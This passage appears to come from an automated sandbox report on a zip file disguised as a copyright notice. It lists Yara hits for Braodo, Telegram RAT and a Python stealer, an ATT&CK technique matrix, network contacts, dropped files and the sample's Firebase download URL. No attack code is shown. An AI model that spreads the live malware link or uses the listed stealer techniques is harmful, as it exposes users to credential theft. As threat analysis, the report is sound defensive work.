              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\base64mime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\base64mime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\base64mime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\base64mime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\base64mime.cpython-310.pyc.29631392 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\charset.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\charset.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\charset.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\charset.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\charset.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\charset.cpython-310.pyc.29631280 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\encoders.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\encoders.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\encoders.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\encoders.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\encoders.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\encoders.cpython-310.pyc.29630720 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\quopri.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\quopri.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\quopri.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\quopri.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\quopri.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\quopri.cpython-310.pyc.30218304 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\utils.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\utils.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\utils.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\utils.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\utils.cpython-310.pyc.29631392 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\random.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\random.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\random.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\random.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\random.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\random.cpython-310.pyc.30249408 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\warnings.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\warnings.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\warnings.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\warnings.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\warnings.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\warnings.cpython-310.pyc.30251904 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socket.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socket.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socket.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socket.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\socket.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\socket.cpython-310.pyc.30287104 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\selectors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\selectors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\selectors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

              Stealing of Sensitive Information

              barindex
              Yara detected Braodo
              Source: Yara matchFile source: 0000002B.00000003.2070978950.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000002B.00000003.2069753866.000000000185D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000002B.00000002.2143160998.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Yara detected Telegram RAT
              Source: Yara matchFile source: 0000002B.00000002.2142517204.0000000003550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Yara detected Generic Python Stealer
              Source: Yara matchFile source: 0000002B.00000003.2070978950.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000002B.00000003.2069753866.000000000185D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

              Remote Access Functionality

              barindex
              Yara detected Braodo
              Source: Yara matchFile source: 0000002B.00000003.2070978950.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000002B.00000003.2069753866.000000000185D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000002B.00000002.2143160998.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Yara detected Telegram RAT
              Source: Yara matchFile source: 0000002B.00000002.2142517204.0000000003550000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Yara detected Generic Python Stealer
              Source: Yara matchFile source: 0000002B.00000003.2070978950.000000000165E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000002B.00000003.2069753866.000000000185D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting              		Valid Accounts1
              Command and Scripting Interpreter              		1
              Scripting              		11
              Process Injection              		11
              Masquerading              		OS Credential Dumping1
              Security Software Discovery              		Remote ServicesData from Local System2
              Encrypted Channel              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              PowerShell              		1
              Registry Run Keys / Startup Folder              		1
              Registry Run Keys / Startup Folder              		2
              Virtualization/Sandbox Evasion              		LSASS Memory2
              Virtualization/Sandbox Evasion              		Remote Desktop ProtocolData from Removable Media1
              Non-Application Layer Protocol              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAt1
              DLL Side-Loading              		1
              DLL Side-Loading              		11
              Process Injection              		Security Account Manager22
              System Information Discovery              		SMB/Windows Admin SharesData from Network Shared Drive2
              Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
              Rundll32              		NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              DLL Side-Loading              		LSA SecretsInternet Connection DiscoverySSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b11%VirustotalBrowse

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__future__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__future__.py0%VirustotalBrowse
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_aix_support.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_aix_support.py0%VirustotalBrowse
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_bootsubprocess.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_bootsubprocess.py0%VirustotalBrowse
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_collections_abc.py0%VirustotalBrowse
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_compression.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_markupbase.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_osx_support.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_py_abc.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_pyio.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_sitebuiltins.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_strptime.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_threading_local.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_weakrefset.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\argparse.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ast.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\asynchat.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\asyncore.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\base64.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bdb.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\binhex.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bz2.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cProfile.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\calendar.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cgi.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cgitb.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\chunk.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\cmd.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\code.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\codecs.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__init__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\abc.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\colorsys.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\compileall.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\__init__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\_base.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\process.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\concurrent\futures\thread.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\configparser.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\contextlib.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\contextvars.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copy.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\crypt.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\csv.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\__init__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\_aix.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\_endian.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\__init__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\dyld.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\dylib.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\fetch_macholib0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\macholib\framework.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\__init__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\__main__.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_anon.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_array_in_pointer.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_arrays.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_as_parameter.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_bitfields.py0%ReversingLabs
              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_buffers.py0%ReversingLabs

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              SourceDetectionScannerLabelLink
              www.google.com0%VirustotalBrowse

              URLs

              ⊘No Antivirus matches

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              www.google.com
              		216.58.206.36
              		truefalseunknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              142.250.185.99
              		unknownUnited States
              		15169GOOGLEUSfalse
              1.1.1.1
              		unknownAustralia
              		13335CLOUDFLARENETUSfalse
              108.177.15.84
              		unknownUnited States
              		15169GOOGLEUSfalse
              172.217.16.206
              		unknownUnited States
              		15169GOOGLEUSfalse
              184.28.88.176
              		unknownUnited States
              		16625AKAMAI-ASUSfalse
              172.217.18.3
              		unknownUnited States
              		15169GOOGLEUSfalse
              54.227.187.23
              		unknownUnited States
              		14618AMAZON-AESUSfalse
              86.38.202.97
              		unknownLithuania
              		15419LRTC-ASLTfalse
              216.58.206.36
              		www.google.comUnited States
              		15169GOOGLEUSfalse
              172.217.23.110
              		unknownUnited States
              		15169GOOGLEUSfalse
              2.23.197.184
              		unknownEuropean Union
              		1273CWVodafoneGroupPLCEUfalse
              239.255.255.250
              		unknownReserved
              		unknownunknownfalse
              172.217.18.106
              		unknownUnited States
              		15169GOOGLEUSfalse
              184.28.90.27
              		unknownUnited States
              		16625AKAMAI-ASUSfalse
              199.232.210.172
              		unknownUnited States
              		54113FASTLYUSfalse
              172.64.41.3
              		unknownUnited States
              		13335CLOUDFLARENETUSfalse

              Private

              IP
              192.168.2.16
              192.168.2.4
              127.0.0.1

              General Information

              Joe Sandbox version:41.0.0 Charoite
              Analysis ID:1534680
              Start date and time:2024-10-16 05:45:14 +02:00
              Joe Sandbox product:CloudBasic
              Overall analysis duration:
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:defaultwindowsinteractivecookbook.jbs
              Sample URL:https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b1
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Number of analysed new started processes analysed:44
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • EGA enabled
              Analysis Mode:stream
              Analysis stop reason:Timeout
              Detection:MAL
              Classification:mal72.troj.evad.win@63/1198@2/71

              Warnings

              • Exclude process from analysis (whitelisted): svchost.exe
              • Excluded IPs from analysis (whitelisted): 142.250.185.99, 172.217.16.206, 108.177.15.84, 172.217.18.106, 142.250.185.170, 142.250.181.234, 142.250.185.234, 172.217.23.106, 216.58.206.42, 142.250.185.106, 142.250.185.138, 142.250.185.74, 142.250.184.234, 142.250.186.74, 142.250.185.202, 216.58.212.170, 142.250.184.202, 216.58.206.74, 142.250.186.170, 34.104.35.123
              • Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, clientservices.googleapis.com, clients.l.google.com, firebasestorage.googleapis.com
              • Not all processes where analyzed, report is missing behavior information
              • Report size getting too big, too many NtOpenKeyEx calls found.
              • Report size getting too big, too many NtQueryValueKey calls found.
              • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
              • Report size getting too big, too many NtSetInformationFile calls found.
              • Skipping network analysis since amount of network traffic is too extensive
              • Timeout during stream target processing, analysis might miss dynamic analysis data
              • VT rate limit hit for: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\_compression.py

              Created / dropped Files

              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):290
              Entropy (8bit):5.208261614448792
              Encrypted:false
              SSDEEP:
              MD5:68496BE9F9DC06CA0BA62738CFEFA3BE
              SHA1:143C5EC9C46EEA09AC55BF531802DE96E6362C33
              SHA-256:7725C702305B0362B19ED959722DD4461FCD1670B90DCB1FF32D24BB91513168
              SHA-512:864F9219A9EA4754ECC15AD8A6CA68777B6CCEB44B5063AD4ACE2AAA6371C9A19866B05E42DB4245D4F60FD20568D6A83AB3A04D8625B2ED1F2A7793390D9E38
              Malicious:false
              Reputation:unknown
              Preview:2024/10/15-23:46:24.769 11a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/15-23:46:24.771 11a4 Recovering log #3.2024/10/15-23:46:24.771 11a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):334
              Entropy (8bit):5.227543781805336
              Encrypted:false
              SSDEEP:
              MD5:0AC6E81777D12DC847E722F2EB3F5EAE
              SHA1:01E6F6F54BC72AC791C2B3B485F83D98F81CDAE0
              SHA-256:C962A6C098799C252E0AE21FC3271E9F10790C18D3D3B06AF23319E05C7F8FBB
              SHA-512:3C61E1CD62C29F4B26C170C89BEB0FF167C3B8D6C4E0088B3C235CF4FF9C2C8627EC9057C73738FC05185326EF5FCFECA9A7E2A91AAA2DDDF18F45FB76F82347
              Malicious:false
              Reputation:unknown
              Preview:2024/10/15-23:46:24.652 1980 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/15-23:46:24.656 1980 Recovering log #3.2024/10/15-23:46:24.657 1980 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4bfbc76d-dad9-4730-9c2a-5542a1eb978f.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):403
              Entropy (8bit):4.953858338552356
              Encrypted:false
              SSDEEP:
              MD5:4C313FE514B5F4E7E89329630909F8DC
